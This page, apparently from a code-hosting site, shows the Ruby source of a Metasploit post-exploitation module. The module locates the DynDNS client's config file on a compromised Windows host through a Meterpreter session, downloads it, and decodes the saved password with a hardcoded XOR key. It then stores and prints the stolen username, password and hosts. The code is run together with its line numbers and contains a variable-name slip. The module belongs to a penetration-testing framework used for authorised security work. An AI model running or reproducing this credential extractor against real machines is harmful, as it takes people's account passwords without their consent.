Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/dyndns.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Gather DynDNS Client Password Extractor',13'Description' => %q{14This module extracts the username, password, and hosts for DynDNS version 4.1.8.15This is done by downloading the config.dyndns file from the victim machine, and then16automatically decode the password field. The original copy of the config file is also17saved to disk.18},19'License' => MSF_LICENSE,20'Author' => [21'Shubham Dawra <shubham2dawra[at]gmail.com>', # SecurityXploded.com22'sinn3r', # Lots of code rewrite23],24'Platform' => [ 'win' ],25'SessionTypes' => [ 'meterpreter' ],26'Compat' => {27'Meterpreter' => {28'Commands' => %w[29core_channel_eof30core_channel_open31core_channel_read32core_channel_write33stdapi_fs_stat34]35}36}37)38)39end4041#42# Search for the config file.43# Return the config file path, otherwise nil to indicate nothing was found44#45def get_config_file46config_paths =47[48'C:\\ProgramData\\Dyn\\Updater\\', # Vista49'C:\\Documents and Settings\\All Users\\Application Data\\Dyn\\Updater\\' # XP and else50]5152# Give me the first match53config_file = nil54config_paths.each do |p|55tmp_path = p + 'config.dyndns'56begin57f = session.fs.file.stat(tmp_path)58config_file = tmp_path59break # We've found a valid one, break!60rescue StandardError61end62end6364return config_file65end6667#68# Download the config file, and then load it up in memory.69# Return the content.70#71def load_config_file(config_file)72f = session.fs.file.new(config_file, 'rb')73content = ''74content << f.read until f.eof?75p = store_loot('dyndns.raw', 'text/plain', session, 'dyndns_raw_config.dyndns')76vprint_good("Raw config file saved: #{p}")77return content78end7980#81# Parse the data82# Return: Hash { :username, :pass, :hosts }83#84def parse_config(content)85# Look at each line for user/pass/host86config_data = {}87user = content.scan(/Username=([\x21-\x7e]+)/)[0][0]88pass = content.scan(/Password=([\x21-\x7e]+)/)[0][0]89host = content.scan(/Host\d=([\x21-\x7e]+)/)[0]9091# Let's decode the pass92pass = decode_password(pass) if !pass.nil?9394# Store data in a hash, save it to the array95# Might contain nil if nothing was regexed96config_data = {97user: user,98pass: pass,99hosts: host100}101102return config_data103end104105#106# Decode the password107#108def decode_password(pass)109pass = [pass].pack('H*')110s = ''111c = 0112113pass.each_byte do |a1|114a2 = 't6KzXhCh'[c, 1].unpack('c')[0].to_i115s << (a1 ^ a2).chr116c = ((c + 1) % 8)117end118119return s120end121122#123# Print results and storeloot124#125def do_report(data)126tbl = Rex::Text::Table.new(127'Header' => 'DynDNS Client Data',128'Indent' => 1,129'Columns' => ['Field', 'Value']130)131132creds = Rex::Text::Table.new(133'Header' => 'DynDNS Credentials',134'Indent' => 1,135'Columns' => ['User', 'Password']136)137138# Store username/password139cred << [data[:user], data[:pass]]140141if !creds.rows.empty?142p = store_loot(143'dyndns.creds',144'text/csv',145session,146creds.to_csv,147'dyndns_creds.csv',148'DynDNS Credentials'149)150print_status("Parsed creds stored in: #{p}")151end152153# Store all found hosts154hosts = data[:hosts]155hosts.each do |host|156tbl << ['Host', host]157end158159print_status(tbl.to_s)160161if !tbl.rows.empty?162p = store_loot(163'dyndns.data',164'text/plain',165session,166tbl.to_csv,167'dyndns_data.csv',168'DynDNS Client Data'169)170print_status("Parsed data stored in: #{p}")171end172end173174#175# Main function, duh176#177def run178# Find the config file179config_file = get_config_file180if config_file.nil?181print_error('No config file found, will not continue')182return183end184185# Load the config file186print_status('Downloading config.dyndns...')187content = load_config_file(config_file)188189if content.empty?190print_error('Config file seems empty, will not continue')191return192end193194# Get parsed data195config = parse_config(content)196197# Store data198do_report(config)199end200end201202203